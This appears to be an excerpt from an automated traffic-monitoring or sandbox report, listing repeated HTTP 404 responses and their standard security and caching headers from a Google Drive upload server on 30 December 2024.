Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4BwraRNqiugcSFNF06yOTy7hO2eUWRwqsyF0udZMujQCWuw-C_oZSGQp6QyE2ZKydMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-52wsimOwzsfLXqV6pyq5mQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC78Eg_lebVJmNqTSN2Hp2f97VQwEnQ1yWLx4yIIwGUyZJ90ztF7DZO_R1P-Eo6hh2G6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3PNiUUe4QZEUG1OWAadauQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5O3u_8ZOdKp7x1nJXtdfMiplaXFWiJxdpvSzn4neZy0S7znnRZctRxIrlsJE0sTf8KContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:14 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-QEzb38PhDBxuJuVM6hSlbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4GpLwAMwHZLPgIdypb8KqqYpT2OACRHVqncowk_N-eAbtfZVBV_e5Eajxg4LzhRDgfq6NZXXUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:14 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-HxC65DDnAqJQI2FntX3LfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5rXXAg7yDs8NW4hhktZewdDwVO9HRhje8QvGtzHexT3U6psImp7I9j7CN5nDgklML883G8XOgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:17 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-v7exrKLDwVoRyYNRKvCwqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5PwjC9rZAEX_5pwAQXWx1y9KaHaZJI8ezMRpcBVuY0G2mmmKplU5oD-FIs-5kX-JL9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:17 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-nLydl7xOb_8PlnBrkoyFKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5vsTAmjyTuMs8-w1FGlLVYomydUx7LZG2uCRMTtX4YI_yJJ715fkPqV72CMJwVLNJUmSjzSqcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:18 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ewGTSbb5OHp6_cpMTNCVvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ju2qZ91y_vsQMq7rYjIkYp-U3Pz90BY8UMxZqIieOnq1LpH1epMqvhbjjm2qx5w2hContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:18 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-biEwedeytnvkzTr3VSxELw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7-f8mbrvkx35DRwltJ1vvArxwl05VqKond6OU1t0FsWjxyGH-m-CMJ3JHSi6EUlhFmContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WE-vKCV-0CwNkNIUNGQUOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6U7SkHgCFWVNvBsx6MKknBv0tX1mdUoYTO5gScq2t53SZTMnanqIWtn2mnZxJJvO8fContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6YKQDDoArSa8Zn2XpjZOKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6CwQR9sf0jLn3NHLLeoej-k-1l5drsjFsd1j0mvqlTcqy-sKaut4w6i4HtnxmYyIlJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:22 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-KBQTsE4DM7dwDaqWe2ccSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ek4DTrJSkrOsL8HTQTi1aZNmyKRVi_VaihsDDPATtqvgqgtmGN1eSe6FluNvz9A9WContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-PVUMq_3d8Y9_mGPpznF8wQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7bwD9x-CW-GHrNkobMB7KQZ3cjIQJmiTR-CR0t6BnbdZcroDavlTrkBjCSIEyFMnZMRGsOu4sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:24 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3Wpzt7f35glZhQws6jFJIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC43StYh49ff4b_3EvbR9uWH3FwqxE1vlNzd-1fj6bPklsmRTD_2xVzDUsDIEyPIMELBxz8G40EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:24 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-y20FqzOOEE1FCtyV9Bw9_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4uzHCCA7UoSH1C6V6vMQiLe-SMCS2KA5QtyymzHvcbkjw9Xz9iYLsDst2QGMoNJolYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:25 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-R__6xnqNscxuFlo-Jmhj-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6csT7DbYDuOMUGduv6Nu6YyOM-q4kN3nuPOXouqhgBwc6PHNu1XmdQyi7-gKuWQVOvOYUKMngContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:25 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-T2mg1Hu8MPenIb7avuC6jA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7L3oSXdigHD8jgqE7gtFTP8l5lVHrovFtl15-7Kvhy8SAD9G9Qgp_i3AO8jEt7lnjnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:26 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-IbdCGZhoIMLFwGZj9klqGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4i5sEiNyuhF5BrVHo4KtU8SlgbZzzaJs43IqELHSfB4op5cFF3wffMqcnQ_poQGVmYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:26 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-RX7IWEMyYSlVbnXqrT9arg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5AqBy9tun8ULPigPs6eP5Rw7X9xxS8xTEBRJdmvV9LFu4mw9jyVnciP1I90ieAzGhuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:27 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Zq4UQXsE6qTX5MUard894g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7OdJCWS8GWAEHBcwq9-Px8Yju_OnCITaRhviMQbE3wSvaOxGaTnhi9cgRPSTnDoLf6kj_QWqcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:29 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-f_QRoN-R3_X3EOI7Zi64Pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
